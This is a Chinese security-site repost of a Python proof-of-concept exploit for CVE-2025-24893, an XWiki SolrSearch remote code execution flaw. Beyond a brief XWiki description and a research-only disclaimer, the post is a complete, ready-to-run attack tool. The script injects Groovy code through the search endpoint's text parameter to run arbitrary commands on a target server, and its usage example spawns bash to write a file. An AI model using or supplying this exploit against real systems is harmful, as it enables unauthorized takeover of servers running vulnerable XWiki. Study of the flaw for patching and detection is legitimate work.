XWiki SolrSearchMacros 远程代码执行漏洞PoC(CVE-2025-24893)

admin 2025年2月26日09:01:35评论173 views字数 1939阅读6分27秒阅读模式

0x01 工具介绍

XWiki是一个开源的 wiki 平台,允许用户创建、编辑和管理内容,支持丰富的文档协作和知识管理功能。它类似于维基百科,但更注重企业级应用,提供强大的扩展性和自定义能力,支持结构化数据、脚本编写和插件集成。XWiki适用于团队协作、知识库建设以及复杂文档管理,适合需要高度定制化 wiki 解决方案的组织。

0x02 安装与使用

命令使用

 python CVE-2025-24893.py [URL] [COMMAND]
XWiki SolrSearchMacros 远程代码执行漏洞PoC(CVE-2025-24893)
import argparse
import requests
import sys
from urllib.parse import urljoin

VULN_PATH = "/xwiki/bin/get/Main/SolrSearch?media=rss&text="
PAYLOAD_TEMPLATE = "}}}{{async async=false}}{{groovy}}%s;println('EXPLOIT_SUCCESS'){{/groovy}}{{/async}}"

def banner():
    print("\033[36m" + """
    ****************************************************
    *                 CVE-2025-24893                   *
    *             XWiki RCE漏洞利用工具                 *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")
def execute_exploit(target_url, command):

    try:
        full_url = urljoin(target_url.rstrip('/') + '/', VULN_PATH.lstrip('/')) 

        safe_cmd = command.replace('{', '{{').replace('}', '}}')  
        safe_cmd = safe_cmd.replace('\\', '\\\\')  
        safe_cmd = safe_cmd.replace("'", "\\'")   


        payload = PAYLOAD_TEMPLATE % safe_cmd
        params = {'media': 'rss', 'text': payload}
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': '*/*'
        }

        response = requests.get(
            full_url,
            params=params,
            headers=headers,
            allow_redirects=False,
            verify=False,
            timeout=20
        )

        if response.status_code == 200 and 'EXPLOIT_SUCCESS' in response.text:
            print("[+] 漏洞利用成功!响应片段:")
            print(response.text[:300].split('EXPLOIT_SUCCESS')[0] + "...[SUCCESS]")
            return True
        else:
            print(f"[-] 利用失败,状态码:{response.status_code}")
            return False

    except Exception as e:
        print(f"[-] 错误:{str(e)}")
        return False

if __name__ == "__main__":
    banner()
    parser = argparse.ArgumentParser(description="XWiki RCE漏洞利用工具 CVE-2025-24893")
    parser.add_argument("URL", help="目标URL (例: http://127.0.0.1:8080)")
    parser.add_argument("COMMAND", help="Groovy命令 (例: 'new ProcessBuilder(\"bash\",\"-c\",\"echo pwned > /tmp/pwned.txt\").waitFor()')")
    args = parser.parse_args()


    if '\\' in args.COMMAND:
        args.COMMAND = args.COMMAND.replace('\\', '/')

    success = execute_exploit(args.URL, args.COMMAND)
    sys.exit(0 if success else 1)

原文始发于微信公众号(Web安全工具库):XWiki SolrSearchMacros 远程代码执行漏洞PoC(CVE-2025-24893)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月26日09:01:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XWiki SolrSearchMacros 远程代码执行漏洞PoC(CVE-2025-24893)https://cn-sec.com/archives/3773645.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息